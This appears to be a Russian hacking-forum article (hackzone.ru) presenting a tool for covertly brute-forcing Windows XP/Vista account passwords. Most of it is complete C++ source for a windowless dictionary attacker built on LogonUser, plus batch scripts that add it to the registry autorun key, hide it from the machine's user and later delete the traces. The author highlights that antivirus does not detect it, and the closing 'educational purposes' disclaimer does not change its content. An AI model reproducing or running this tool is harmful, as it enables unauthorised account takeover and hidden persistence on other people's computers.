Локальный взлом Windows XP/Vista
Что делать если Локальный взлом Windows XP непоможет, т.к. нет доступа к биосу и вернуть его нереально, тобиш загрузится с чего бы то невыйдет...
Локальный взлом Windows XP #2 тоже непоможет, т.к. файловая система NTFS.
Есть еще метод.
Метод грубой силы, который мы и намерены применить (нет не подумайте грубой физической силы, упаси...)
Значит третья часть... bruteforce
Итак мы будем подбирать пароль админа (или можна другого юзера, как пожелаете).
Для этого напишем програмку, которая и будет заниматся черным делом, а мы только периодически будем смотреть,
есть ли результаты, да кормить ее новыми словарями для брута ))
К тексту скажу, что подобное решение уже есть и называется оно ntpassworder , но наше приложение обладает четырмя преимуществами:
1. Пока оно неопределяется антивирусами как Hack Tool , соответственно проблем будет меньше ))
2. Оно непоказывает окно, поэтому может себе работать в то время как пользователь неподозревает о его существовании (ну в процессах понятно оно есть).
3. Пароли берет из словаря (в ntpassworder нет такого и опции по настраиванию довольно скудны, например нету маски). В силу этого можно файл напичкать хоть и подряд идущими числами.
4. В силу невидимости (в трее тоже небудет видно) программу можно засунуть в автозагрузку и она будет себе брутить и сохранять текущую позицию брута каждые 5 минут, а после перезагрузки и\или захода польователя продолжит с сохраненной позиции.
Теперь о том на чем будем ее писать: на С++
В частности я испольщовал DEV C++ скачать можно отсюда http://sourceforge.net/projects/dev-cpp/
Итак, устанавливаем его, к примеру, на С:
Запускаем главный файл devcpp.exe Файл -) создать -) проект -) Windows Application
Стираем все. Далее туда пишем следующее:
--------------------------------------------------------------------------------
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//------------------------------------------------------------------------------------------------------------------------//
#include <windows.h>
#include <string.h>
//Процедура запсис текущей позиции во временной файл temp.dat
int WriteTempToFile(int i, char ft_Path[255]) {
HANDLE htFile;
DWORD bytesHtWritten;
char k[10];
itoa(i, k, 10);
htFile=CreateFile(ft_Path, GENERIC_WRITE | GENERIC_READ, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, 0);
WriteFile(htFile, k, 10, &bytesHtWritten, NULL);
CloseHandle(htFile);
};
//Главная процедура
int main(int argc, char* argv[])
{
// Проверяем переданы ли аргументы, если нет, то выводим краткую справку и завершаем процесс
if (argc<2) {
MessageBox(0,"Usage: WinBrute.exe <username>\n<username> - User name to brute\n", "WinXP/Vista bruteforce by bre@k [hackzone.ru]", MB_OK);
ExitProcess(0);
};
//Подождем 100 секунд так как в случает запуска с автозарузки лутьше выждать пока стартуют программы
//Sleep(100000);
// Получение текущей директории
int dirSize=240;
char fPath[255];
GetCurrentDirectory(dirSize, fPath);
// Копируем путь к текущей директории еще в 2 переменные
char frPath[255];
char ftPath[255];
for (int i=0; i<=strlen(fPath); i++) {
frPath[i]=fPath[i];
ftPath[i]=fPath[i];
};
// Присоединяем к пути имена файлов
strcat(fPath, "\\out.dat");
strcat(frPath, "\\in.dat");
strcat(ftPath, "\\temp.dat");
//Читаем файл паролей in.dat
//-----------------------------------------------------------------------------------------
HANDLE hrFile;
hrFile=CreateFile(frPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, 0);
int hrFileSize;
hrFileSize=GetFileSize(hrFile, NULL);
char* hrFileBuffer=new char[hrFileSize];
DWORD hfFileBytesRead;
ReadFile(hrFile, hrFileBuffer, hrFileSize, &hfFileBytesRead, NULL);
CloseHandle(hrFile);
//Конец читающих инструкций
//-------------------------------------------------------------------------------------------
// Фильтруем: каждое слово должно закачиватся на 0х00 чтобы можно было обращатся к нему
// по указателю на начало слова
int ii=0;
HANDLE phToken;
for (int i=0; i<=hrFileSize; i++) if (hrFileBuffer[i]==0x0A) {
hrFileBuffer[i]=0x00;
ii=1;
};
for (int i=0; i<=hrFileSize; i++) if (hrFileBuffer[i]==0x0D) {
hrFileBuffer[i]=0x00;
ii=2;
};
// Задаем начальные значения двух слепков времени
SYSTEMTIME systime;
SYSTEMTIME systimestamp;
GetSystemTime(&systime);
GetSystemTime(&systimestamp);
// Читаем последнюю позицию из файла temp.dat , если такого файла нет, то позиция "0"
int starti=0;
HANDLE hrtFile;
hrtFile=CreateFile(ftPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, 0);
if (GetLastError()==0) {
char hrtFileBuffer[10];
DWORD hrtFileBytesRead;
ReadFile(hrtFile, hrtFileBuffer, 10, &hrtFileBytesRead, NULL);
starti=atoi(hrtFileBuffer);
// Проверяем файл на метку "1111111111" если это так то перебор уже закончен и мы выходим из программы
for (int t=0; t<=9; t++) if (hrtFileBuffer[t]=='1') if (t==9) ExitProcess(4);
};
CloseHandle(hrtFile);
// Цикл проверки всех паролей из списка-----------------------------------------------------------------
for (int i=starti; i<=hrFileSize; i++){
if (hrFileBuffer[i]==0x00) i=i+ii; else continue;
// Сохраняем каждые 5 минут текущую позицию чтения
// Если время перевалило за 54 минуты то пишем текущую позицию в файл и ждем 5 минут, дабы избежать неприятности
if (systime.wMinute>0x0036) {
WriteTempToFile(i, ftPath);
Sleep(300000);
GetSystemTime(&systime);
GetSystemTime(&systimestamp);
}
else if (systime.wMinute>systimestamp.wMinute+0x0005) {
GetSystemTime(&systimestamp);
WriteTempToFile(i, ftPath);
};
GetSystemTime(&systime);
// Процедура проверки соответствия пароля логину
// Если найден пароль, то выполняем следующие инструкции
if (LogonUser(argv[1], NULL, &hrFileBuffer[i], LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &phToken)!=0) {
CloseHandle(phToken);
//Вычисление длины пароля
int j=i;
while(TRUE) {
if (hrFileBuffer[j]!=0x00) j++; else {
j=j-i;
break;
};
};
//Пишем в файл out.dat результат в формате Username: Password
HANDLE hwFile;
hwFile=CreateFile(fPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, 0);
DWORD bytesWritten;
char writeResult[255];
for (int k=0; k<strlen(argv[1])+1; k++) writeResult[k]=argv[1][k];
strcat(writeResult,": ");
strcat(writeResult, &hrFileBuffer[i]);
WriteFile(hwFile, writeResult, strlen(argv[1])+j+2, &bytesWritten, NULL);
CloseHandle(hwFile);
// Учтанавливаем метку в файл, что перебор закончен
i=1111111111;
WriteTempToFile(i, ftPath);
// Завершаем процесс
ExitProcess(5);
};
};
//Если мы здесь, то пароля в списке небыло и мы записываем в файл out.dat что пароля не нашли для указанного пользователя
HANDLE hwFile;
hwFile=CreateFile(fPath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, 0);
DWORD bytesWritten;
char writeResult[255];
for (int k=0; k<strlen(argv[1])+1; k++) writeResult[k]=argv[1][k];
strcat(writeResult, ": cannot find password in passwords list\n");
WriteFile(hwFile, writeResult, 40+strlen(argv[1]), &bytesWritten, NULL);
CloseHandle(hwFile);
// Учтанавливаем метку в файл, что перебор закончен
int n=1111111111;
WriteTempToFile(n, ftPath);
return 0;
}
///------------------------------------------------------------------------------------------------------------------------///
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
--------------------------------------------------------------------------------
Жмем Ctrl+S , а потом Ctrl+F9 и если пройшло Compiling а потом Linking без проблем то в нашей директории куда мы сохранили проект появится исполняемый файл - переименуем его в WinBrute.exe
Теперь попробуйте его просто запутить: вылетит окно что надо передать параметры и интрукция по использованию.
Запускать нужно например так: WinBrute.exe Администратор , где Администратор это имя пользовтеля, но можно и другое.
Кроме того в текущей директории если вы вручную его запускаете должен быть файл паролей in.dat
Проверки на его присутствие в программе нету, но\поэтому она невылетит с ошибкой (веренее не должна))) ) и не скажет, что нету файла, пугая сидящего пользователя внезапным окном )) (ведь нам нужна скрытность) но и положительного результата, как понимаете, точно небудет.
А в исходящем файле out.dat будет "Администратор: cannot find password in passwords list"
Для удобства соорудим коммандный файл для запуска нашей проги:
--------------------------------
@echo off
cd .\
chcp 1251
start WinBrute.exe Администратор
--------------------------------
Дадим ему имя startme.bat , теперь в одной директории должны быть startme.bat , in.dat , WinBrute.exe
Запускаем startme.bat
Идем в диспетчер задач и смотрим: наш процесс работает.
Если брут окончен, то в нашей директории появится файл out.dat с результатом и temp.dat, в котором будет метка, что брут закончен.
temp.dat можно удалить, а то из нашего каталога брутить потом небудет ))
Итак, если повезло, то пароль подобран. Если же нет, то удаляем наш процесс и перейдем к следующему этапу.
Видать брутить будет долго, а значит того времени, что мы сидим за компом может нехватить.
Значит дадаим файл паролей побольше и поставим програмку на автозагрузку.
Автоматизировать процесс поможет следующий коммандный файл:
---------------------------------------------------------------начало--------------------------------------------------------
@echo off
rem отключили эховывод
title Adding to autostart WinBrute by break [hackzone.ru]
rem дефолтовое значение переменной для ошибки
set a=1
rem устанавливаем текущую директорию активной
cd .\
rem если нет каталога C:\Temp то мы его создаем
if not exist C:\Temp md C:\Temp
rem копируем с текущего каталога WinBrute.exe в папку C:\Temp
copy /Y WinBrute.exe C:\Temp
rem Если файл успешно скопировался то напишем
if "%errorlevel%"=="0" echo File WinBrute.exe was successfully copied to C:\Temp
echo.
rem копируем с текущего каталога in.dat в папку профиля пользователя
copy /Y in.dat "%userprofile%"
rem Если файл успешно скопировался то напишем
if "%errorlevel%"=="0" echo File in.dat was successfully copied to %userprofile%
echo.
rem меняем кодовую страницу, чтоб небыло каракуль ))
chcp 1251
rem добавлем в реестр ключ автозапуска на нашу скопированную программу
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinBrute /t REG_SZ /d "C:\Temp\WinBrute.exe Администратор" /f
rem если ошибки нет - ставим а=1
if "%errorlevel%"=="0" set a=1
rem возвращаем кодовую страницу
chcp 866
echo.
rem проверяем код ошибки и если все нормально то так и напишем, а то после reg.exe выведется неразбериха
if "%a%"=="1" echo Information successfully added to registry
echo.
pause
-----------------------------------------------------------------конец-------------------------------------------------------
Дадим ему имя add_to_autostart.bat
Теперь в найшей папке точно должны быть add_to_autostart.bat , WinBrute.exe , in.dat
Запускаем коммандный файл: Если два файла скопировано и информация в реестр успешно добавлена, то можно перезайти под этим юзером и брут начнется.
Теперь когда вы прийдете следующий раз чтобы посмотреть на результаты "своего" труда то понадобится проверить файл out.dat , поудалять остальные свои файлы и удалить запись с реестра.
И как всегда автоматизируем рутинную работу (следующий коммандный файл):
------------------------------------------------------------------начало-----------------------------------------------------
@echo off
rem отключили эховывод
title Getting password file from WinBrute by break [hackzone.ru] and Cleaning... if success
rem делаем текущую директорию активной
cd .\
rem если есть файл паролей то идем на метку 1
if exist "%userprofile%\out.dat" goto 1
rem пишем что нет пока файла паролей
echo there is no password results yet
pause
rem завершаем коммандный файл
exit
:1
rem скопируем файл паролей в текущую директорию
copy "%userprofile%\out.dat" .\
rem Если файл успешно скопировался то напишем, что он у нас и мы можем туда заглянуть
if "%errorlevel%"=="0" echo YES i've got file with password... check it
echo.
rem поудаляем из директории профиля польователя in.dat, out.dat, temp.dat и файл C:\Temp\WinBrute.exe
del /q /s "%userprofile%\in.dat"
del /q /s "%userprofile%\out.dat"
del /q /s "%userprofile%\temp.dat"
del /q /s C:\Temp\WinBrute.exe
rem удалим ключ автозапуска
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinBrute /f
rem Если ключ удалился то так и напишем
if "%errorlevel%"=="0" echo Key was deleted!!!
pause
rem все. выходим
exit
------------------------------------------------------------------конец------------------------------------------------------
Дадим ему имя get_file_password.bat
Теперь мы пришли (или никуда неуходили ))) ).
Запускаем get_file_password.bat (он может быть и сам по себе, например на флешке)
В случае если результатов нет то так нам и напишет, если же они есть то в текущую папку скопируется out.dat поудаляются остальные и удалится запись с реестра (за чем мы можем наблюдать в коммандном окне).
Все файл с паролем у нас - откроем его блокнотом и что увидим:
если увидим формат [имя юзера: что-то похожее на пароль] то понятна наша радость )))
если же там [имя юзера: cannot find password in passwords list] то пароля небыло в файле паролей.
В этом случае повторяем процедуру с коммандным файлом add_to_autostart.bat, но в текущую директории ложим другой файл с паролями.
На заметку: Не стоит забывать, что программа ищет метку окончания брута в файле temp.dat и если такову найдет, то дальше брутить небудет ни при каких обстоятельствах, хоть вы смените и имя пользователя и файл паролей.
Как и прежде на hackzone.ru в раздел файлов я залью уже откомпилированный файл и готовые коммандный файлы (в архиве).
Останется только в файле add_to_autostart.bat имя Администратор заменить на, то которое хотите брутить.
Скорость брута у меня была около 3-5 тыс. паролей в секунду.
Пароль 50000 подобрался за 10 секунд (использовался файл паролей из архива) (проц intel core 2 duo 2.0 ГГц).
Это так для прикидки.
Программу тестировал и ошибок необнаружил. Принимаются любые замечания и предложения )))
Обьяснения: Статья писалась исключительно в образовательных целях и за все возможные последствия после прочтения этой статьи, в том числе и после использования прикрепленных файлов (они выкладываются для ознакомления) я ответственности не несу.